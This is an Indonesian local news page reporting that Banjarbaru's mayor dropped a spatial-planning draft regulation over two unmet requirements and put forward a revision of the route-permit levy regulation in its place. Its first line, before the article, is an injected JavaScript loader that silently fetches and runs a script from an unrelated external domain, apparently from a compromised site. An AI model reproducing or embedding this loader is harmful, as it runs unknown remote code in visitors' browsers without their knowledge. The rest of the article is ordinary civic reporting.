(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Raperda Tata Ruang Wilayah Batal Diajukan, Ini Penjelasan Wali Kota Aditya


KANALKALIMANTAN.COM, BANJARBARU – Satu Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru harus dipending karena tidak memenuhi persyaratan.

Pengajuan digantikan dengan Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek.

Berdasarkan Pasal 76 ayat 1 huruf a Peraturan Pemerintah Nomor 21 tahun 2021 tentang penyelenggaraan penataan ruang pengajuan peraturan daerah kota tentang rencana tata ruang wilayah kota dari Wali Kota kepada DPRD.

Diterangkan Wali Kota Banjarbaru Aditya Mufti Ariffin, ada dua persyaratan yang belum bisa diselesaikan, sehingga Raperda tentang tata ruang wilayah tidak bisa dilakukan pembahasan sampai persyaratan bisa dilengkapi.

 

Baca juga : Ketua DPRD : Segera Tindaklanjuti Tiga Usulan Raperda

“Ada beberapa persyaratan yang belum bisa dipenuhi dan akan dibatalkan pada Propemperda tahun 2021,” ujar Walikota.

Dua persyaratan yang belum terpenuhi, kata Wali Kota, yakni validasi dokumen kajian lingkungan hidup strategis dari perangkat daerah provinsi yang membidangi urusan lingkungan hidup.

Kemudian, sambungnya, belum adanya rekomendasi peta dasar dari badan yang menyelenggarakan urusan pemerintahan di bidang informasi geospasial.

Berdasarkan kendala tersebut maka dalam Raperda tentang tata ruang perlu adanya Raperda pengganti agar bisa masuk Propemperda (Program Pembentukan Peraturan Daerah) perubahan tahun 2021.

 

Baca juga : Ini Dua Raperda Penyampaian dari Eksekutif ke DPRD Banjarbaru

Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek merupakan Raperda yang diusulkan masuk pada Propemperda tahun 2021.

“Perda Nomor 30 Tahun 2011 ini akan direvisi dengan menyesuaikan perkembangan dan kemajuan serta kondisi terkini daerah kita,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.